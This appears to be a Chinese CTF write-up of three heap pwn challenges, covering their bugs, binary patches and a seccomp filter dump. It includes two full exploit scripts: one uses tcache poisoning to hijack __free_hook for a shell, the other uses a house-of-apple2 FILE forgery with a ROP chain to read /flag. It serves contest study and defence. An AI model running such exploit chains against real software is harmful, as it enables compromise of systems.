Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

typo

题目功能

1
2
3
4
5
struct chunk
{
_QWORD size;
char buf[size];
}

标准菜单题

add: size<=0x200
free: 指针清零
edit: 设置新size并输入
无show

漏洞点

edit 中往 chunk 上写入新 size 时 sprintf 参数位置错误,导致往 chunk 写 size 时越界写
sprintf
同时也存在格式化字符串漏洞 ,\x00截断

构造chunk overlap

释放到然后partial overwrite fd到stdout,通过stdout leak

修复思路

比赛时思路

比赛时是硬是把参数位置纠正了

1
2
3
4
5
6
7
8
9
10
11
.text:0000000000001662                 lea     rsi, maxlen     ; "%lu"
.text:0000000000001669 mov eax, [rbp+var_11C]
.text:000000000000166F cdqe
.text:0000000000001671 lea rdx, ds:0[rax*8]
.text:0000000000001679 lea rax, chunks
.text:0000000000001680 mov rax, [rdx+rax]
.text:0000000000001684 lea rdx, [rbp+s] ; format
.text:000000000000168B mov ecx, 8
.text:0000000000001690 mov rdi, rax ; s
.text:0000000000001693 mov eax, 0
.text:0000000000001698 call _snprintf

更多思路

学习一下其他师傅的思路:
_snprintf改为printf N0wayBack
直接nop call _snprintf rbp
将snprintf函数nop掉修改为直接给heap->size赋值 S1nyer

break思路

先free一个到tcache,然后在该堆块上利用堆溢出改大size制造heap overlap,最后通过分配来切割overlap的chunk,让tcaches fd踩上libc地址

因为sprintf末尾自动加\x00,不好paritial overwrite fd,再构造一个overlap,使得分配到踩上了libc地址的tcache chunk上方,从而能parital overwrite fd为stdout,通过stdout泄露libc地址

最后因为是2.31可以tcache poisoning打free_hook为system,getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/usr/bin/env python

'''
author: GeekCmore
time: 2025-04-13 01:51:22
'''
from pwncli import *

filename = "pwn_patched"
libcname = "/home/botdebug/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/libc6_2.31-0ubuntu9.17_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
context.terminal = ['tmux', 'neww']
context.log_level = "debug"
if libcname:
libc = ELF(libcname)
gs = '''
dir /home/botdebug/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/glibc-source_2.31-0ubuntu9.17_all/usr/src/glibc/glibc-2.31/malloc
set debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/libc6-dbg_2.31-0ubuntu9.17_amd64/usr/lib/debug
'''

def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)

p = start()


def leak_address():
if context.arch == 'i386':
return u32(p.recv(4))
else:
return u64(p.recv(6).ljust(8, b'\x00'))

def leak_address2(timeout=0.1):
contains = b"\x7f" if context.bits == 64 else b"\xf7"
m = p.recvuntil(contains, timeout=timeout)
if contains not in m:
raise RuntimeError("Cannot get libc addr")
if context.bits == 32:
return u32_ex(m[-4:])
else:
return u64_ex(m[-6:])

def dbg():
if args.AT:
gdb.attach(p,gs)
pause()


s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda x , y : p.sendafter(x , y)
sla = lambda x , y : p.sendlineafter(x , y)
r = lambda x : p.recv(x)
ru = lambda x : p.recvuntil(x)
rl = lambda x : p.recvline(x)
ia = lambda : p.interactive()
op32 = make_packer(32, endian='big', sign='unsigned') # opposite p32
op64 = make_packer(64, endian='big', sign='unsigned') # opposite p64

# Your exploit here

def cmd(i):
sla("", i)

def add(idx, size):
cmd('1')
ru("Index: ")
sl(str(idx))
ru("Size: ")
sl(str(size))

#......

def dele(idx):
cmd('2')
ru("Index: ")
sl(str(idx))

def edit(idx,size, msg):
cmd('3')
ru("Index: ")
sl(str(idx))
ru("New size of content: ")
s(size)
ru("What do you want to say: ")
s(msg)
#......

def exp():
add(0, 0x20)
add(1, 0x200) # ub
add(2, 0x20)
add(3, 0x200) # ub
add(4, 0x60) # hijack
add(5, 0x200)
add(6, 0x60)
add(7, 0x20)
add(10, 0x20)
add(11, 0x20)
add(12, 0x20) # another chunk for tcache poisoning
add(13, 0x20)
add(14, 0x30)

# make chunk1 & chunk2 ub size
# in chunk1: 2,3,4
edit(0, b'A'*0x28+p64(0x4c1),b'aaa')
edit(2, b'A'*0x28+p64(0x491),b'aaa')

# ub: 1
dele(1)

# tcache: 4 -> 6
dele(6)
dele(4)

# split ub chunk, make tcache chunk 4 fd -> main_arena
add(1,0x1e0)
add(6,0x200)
add(4,0x40)


# corrupt chunk msg length to partial overwrite fd
edit(2, flat(f"%{0x1f0}c", 0x510),b"AAA" )
edit(4, p64(0x510), b"A"*0x40 + p64(0x71) + b"\x98\x76")

# corrupt stdout to leak address
add(8, 0x60)
add(9, 0x60)
edit(9, b"AAA", p64(0xfbad1800)+p64(0)*3+b'\x00')
libc_base = leak_address2() - 0x1ec980
leak_ex2(libc_base)
libc.address = libc_base

# tcache poisoning attack free_hook
dele(13)
dele(12)
edit(10, b'A'*0x30 + p64(0x222), b"AAA")
edit(11, b'AAA', b"A"*0x20 + p64(0x31) + p64(libc.sym["__free_hook"]-8))

# make free_hook = system
add(15, 0x20)
add(16, 0x20)
edit(16, b"AAA", p64(libc.sym["system"]))

#trigger free hook -> system("/bin/sh")
edit(11, b'AAA', b"A"*0x20 + p64(0x31) + b"/bin/sh\x00")
dele(15)


dbg()
ia()

while True:
try:
exp()
sleep(0.5)
p.close()
p = start()
except Exception:
p.close()
p = start()

prompt

题目功能

分两个数组,一个chunks一个sizes

add: size<=0x500
dele: 指针清零
edit: 按用户要求的长度读入到chunk,存在溢出
show: printf(“%s”)输出,\x00截断

启用了沙盒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x1e 0xc000003e if (A != ARCH_X86_64) goto 0032
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x1b 0xffffffff if (A != 0xffffffff) goto 0032
0005: 0x15 0x1a 0x00 0x00000038 if (A == clone) goto 0032
0006: 0x15 0x19 0x00 0x00000039 if (A == fork) goto 0032
0007: 0x15 0x18 0x00 0x0000003a if (A == vfork) goto 0032
0008: 0x15 0x17 0x00 0x0000003b if (A == execve) goto 0032
0009: 0x15 0x16 0x00 0x0000003e if (A == kill) goto 0032
0010: 0x15 0x15 0x00 0x00000052 if (A == rename) goto 0032
0011: 0x15 0x14 0x00 0x00000054 if (A == rmdir) goto 0032
0012: 0x15 0x13 0x00 0x00000057 if (A == unlink) goto 0032
0013: 0x15 0x12 0x00 0x0000005a if (A == chmod) goto 0032
0014: 0x15 0x11 0x00 0x0000005b if (A == fchmod) goto 0032
0015: 0x15 0x10 0x00 0x0000005c if (A == chown) goto 0032
0016: 0x15 0x0f 0x00 0x0000005d if (A == fchown) goto 0032
0017: 0x15 0x0e 0x00 0x00000065 if (A == ptrace) goto 0032
0018: 0x15 0x0d 0x00 0x00000069 if (A == setuid) goto 0032
0019: 0x15 0x0c 0x00 0x0000006a if (A == setgid) goto 0032
0020: 0x15 0x0b 0x00 0x00000071 if (A == setreuid) goto 0032
0021: 0x15 0x0a 0x00 0x00000072 if (A == setregid) goto 0032
0022: 0x15 0x09 0x00 0x00000075 if (A == setresuid) goto 0032
0023: 0x15 0x08 0x00 0x00000077 if (A == setresgid) goto 0032
0024: 0x15 0x07 0x00 0x0000009d if (A == prctl) goto 0032
0025: 0x15 0x06 0x00 0x000000c8 if (A == tkill) goto 0032
0026: 0x15 0x05 0x00 0x000000ea if (A == tgkill) goto 0032
0027: 0x15 0x04 0x00 0x00000104 if (A == fchownat) goto 0032
0028: 0x15 0x03 0x00 0x00000107 if (A == unlinkat) goto 0032
0029: 0x15 0x02 0x00 0x0000010c if (A == fchmodat) goto 0032
0030: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0032
0031: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0032: 0x06 0x00 0x00 0x00000000 return KILL

看着吓人但orw还是可用的

修复思路

比赛时思路

调整为阻止超过堆块大小的输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
.text:0000000000001AEC                 mov     edx, [rbp+var_18]
.text:0000000000001AEF movsxd rdx, edx
.text:0000000000001AF2 lea rcx, ds:0[rdx*8]
.text:0000000000001AFA lea rdx, qword_50E0
.text:0000000000001B01 mov r10, [rcx+rdx]
.text:0000000000001B05 mov rax, [rbp+var_28]
.text:0000000000001B09 mov rax, [rax+40h]
.text:0000000000001B0D test rax, rax
.text:0000000000001B10 jz short loc_1B69
.text:0000000000001B12 mov rax, [rbp+var_28]
.text:0000000000001B16 mov rax, [rax+48h]
.text:0000000000001B1A test rax, rax
.text:0000000000001B1D jz short loc_1B69
.text:0000000000001B1F mov eax, [rbp+var_14]
.text:0000000000001B22 movsxd rdx, eax
.text:0000000000001B25 mov rax, [rbp+var_28]
.text:0000000000001B29 mov rax, [rax+40h]
.text:0000000000001B2D cmp rdx, rax
.text:0000000000001B30 cmovbe rax, rdx
.text:0000000000001B34 mov [rbp+n], rax
.text:0000000000001B38 mov rax, [rbp+var_28]
.text:0000000000001B3C mov rcx, [rax+48h]
.text:0000000000001B40 mov eax, [rbp+var_18]
.text:0000000000001B43 cdqe
.text:0000000000001B45 lea rdx, ds:0[rax*8]
.text:0000000000001B4D lea rax, unk_5060
.text:0000000000001B54 mov rax, [rdx+rax]
.text:0000000000001B58 mov rdx, r10 ; n
.text:0000000000001B5B nop
.text:0000000000001B5C mov rsi, rcx ; src
.text:0000000000001B5F mov rdi, rax ; dest
.text:0000000000001B62 call _memcpy
.text:0000000000001B67 jmp short loc_1B9D

after fix

其他修复思路

学习一下其他师傅的思路
将 memcpy 长度 patch 为 0x20 0psu3
将read要输入的序列化长度改为2,或者payload长度限制改为<=0x1000改为>0x1000时unpack N0wayBack
将调用功能函数的call rdx nop rbp
直接把memcpy nop S1nyer

利用思路(复盘)

edit中存在堆溢出,篡改tcache fd实现tcache poisioning
然后house of apple2 通过 svcudp_reply + swapcontext 转 rop orw

复盘思考

比赛时被这个protobuf unpack后的结构体偏移不对折磨死了,比赛后发现 chunk_sizes和heap_chunks_id都是repeated。

1
2
3
4
5
6
7
8
syntax="proto3";

message HeapPayload {
int32 options = 1;
repeated int32 chunk_sizes = 2;
repeated int32 heap_chunks_id = 3;
bytes heap_content = 4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
struct heap_payload
{
ProtobufCMessage base;
int options;
int chunk_sizes_tag;
char chunk_sizes_length;
int *chunk_sizes;
int heap_chunks_id_tag;
char heap_chunks_id_length;
void *heap_chunks_id;
ProtobufCBinaryData msgcontent;
};

原来在读入序列化payload的时候有栈溢出漏洞啊。
stack_overflow

exp (复盘)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
#!/usr/bin/env python3
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
import heap_payload_pb2

cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
CurrentGadgets.set_find_area(find_in_elf=False, find_in_libc=True, do_initial=False)



def cmd(i):
sla("", i)


def add(size, msg):
ru('>> ')
code = heap_payload_pb2.HeapPayload()
code.options = 1
code.chunk_sizes.extend([size])
# code.heap_chunks_id.extend([])
code.heap_content = msg
payload = code.SerializeToString()
s(p32(len(payload)))
s(payload)


def edit(idx,size,msg):
ru('>> ')
code = heap_payload_pb2.HeapPayload()
code.options = 3
code.chunk_sizes.extend([size])
code.heap_chunks_id.extend([idx])
code.heap_content = msg
payload = code.SerializeToString()
s(p32(len(payload)))
s(payload)
# ......


def show(idx):
ru('>> ')
code = heap_payload_pb2.HeapPayload()
code.options = 4
code.heap_chunks_id.extend([idx])
payload = code.SerializeToString()
s(p32(len(payload)))
s(payload)
#
#
def dele(idx):
ru('>> ')
code = heap_payload_pb2.HeapPayload()
code.options = 2
code.heap_chunks_id.extend([idx])
payload = code.SerializeToString()
s(p32(len(payload)))
s(payload)

def ex():
code = heap_payload_pb2.HeapPayload()
code.options = 5
payload = code.SerializeToString()
s(p32(len(payload)))
s(payload)

for i in range(5):
add(0x410, chr(ord('A')+i).encode())
add(0x400, b'H')
add(0x400, b'H')
add(0x400, b'A')
add(0x400, b'B')
add(0x400, b'C')

# leak libc
dele(1)
dele(3)
edit(0, 0x420, b"A"*0x420)
show(0)
libc_base = recv_current_libc_addr() - 0x203dd0
libc.address = libc_base
leak_ex2(libc_base)
edit(0, 0x420, b"A"*0x410 + p64(0) + p64(0x2c1))


# leak heap
edit(2, 0x430, b"A"*0x430)
show(2)
heap_base = u64(ru('\n',True)[-6:].ljust(8, b"\x00"))
leak_ex2(heap_base)
edit(2, 0x430, b"A"*0x410 + p64(0) + p64(0x421) + p64(libc_base+0x203f10) + p64(libc_base+0x203f10))


# make 2 tcache bin?
chunk8 = heap_base - 0x2b00
leak_ex2(chunk8)
dele(9)
dele(8)
edit(7, 0x418, b"A"*0x400 + p64(0) + p64(0x411) + p64(protect_ptr(chunk8, libc.sym['_IO_2_1_stdout_'])))
add(0x400, b"A")


target = libc.sym['system']
fake_IO_addr = libc.sym["_IO_2_1_stdout_"] #写入fake_FILE_PLUS结构体的起始位置
svcudp_reply = next(libc.search(asm("""
mov r12, qword ptr [rdi+0x48]
mov rax, qword ptr [r12+0x18]
lea r14, qword ptr [r12+0x10]
mov dword ptr [r12+0x10], 0
mov rdi, r14
call qword ptr [rax+0x28]
"""),executable=True))
swapcontext = next(libc.search(asm("""
mov rdx, r12
mov rcx, qword ptr[rdx+0xE0]
fldenv [rcx]
ldmxcsr dword ptr [rdx+0x1C0]
mov rsp, qword ptr[rdx+0xA0]
mov rbx, qword ptr[rdx+0x80]
mov rbp, qword ptr[rdx+0x78]
mov r12, qword ptr[rdx+0x48]
mov r13, qword ptr[rdx+0x50]
mov r14, qword ptr[rdx+0x58]
mov r15, qword ptr[rdx+0x60]
""")))

leak_ex2(svcudp_reply)
leak_ex2(swapcontext)
pause()

FILE = IO_FILE_plus_struct()
FILE.flags = b' sh;'
FILE._IO_write_base = 0
FILE._IO_write_ptr = 1
FILE._IO_save_base = fake_IO_addr + 0x40 # svcudp_reply r12
FILE._IO_save_end = fake_IO_addr + 0x38 # svcudp_reply rax
FILE.markers = swapcontext
FILE._lock = libc.bss(0x500) # _lock = a writable address
FILE.chain = svcudp_reply #控制的rip 可system可栈迁移
FILE._codecvt = fake_IO_addr #wide_data -> vtable
FILE._wide_data = fake_IO_addr - 0x48 #wide_data
FILE.vtable = libc.sym['_IO_wfile_jumps']# - 0x20
payload = bytes(FILE)


pop_rdi_addr = libc_base + 0x10f75b
pop_rsi_addr = libc_base + 0x110a4d
pop_rax_addr = libc_base + 0xdd237
xchg_eax_edx_addr = libc_base + 0x00000000000b22ae # xchg edx, eax ; mov eax, 0xf7000000 ; ret 0
rops = flat(
pop_rdi_addr,
fake_IO_addr+0x1d8,
pop_rsi_addr,
0,
libc.sym['open'],
pop_rdi_addr,
3,
pop_rsi_addr,
libc.bss(0x300),
pop_rax_addr,
0x100,
xchg_eax_edx_addr,
libc.sym['read'],
pop_rdi_addr,
1,
pop_rsi_addr,
libc.bss(0x300),
pop_rax_addr,
0x100,
xchg_eax_edx_addr,
libc.sym['write']
)

payload = payload_replace(payload, {
0x40+0xa0: fake_IO_addr + 0x40 + 0xe8, # swapcontext rsp
0x40+0xa8: next(libc.search(asm("ret"), executable=True)),# swapcontext rip
0x40+0xe0: libc.bss(0x500), # swapcontext rcx fldenv
0x40+0xe8: rops,
0x1d8: b"/flag\x00"
})



add(0x400, payload)
ex()


ia()

post_quantum (复盘)

题目功能

菜单堆题但是神人加密
add: 输入的msg是经过加密的,然后存储解密后的数据到chunk
show: 使用write
free: 指针清空了

漏洞点

解密时存在off by one
off by one 构造 heap overlap
off_by_one

修复思路(复盘)

将 sub_1B90() 中两个 free 全 nop 掉 0psu3
把函数1B90的三个memset的第三个大小改小就成功修复 N0wayBack

exp

TODO
PS:不太想复盘了,只给了公钥没给私钥,要复现得自己生成一个密钥对,纯恶心人

评论




本站总访问量为 次 访客数为 人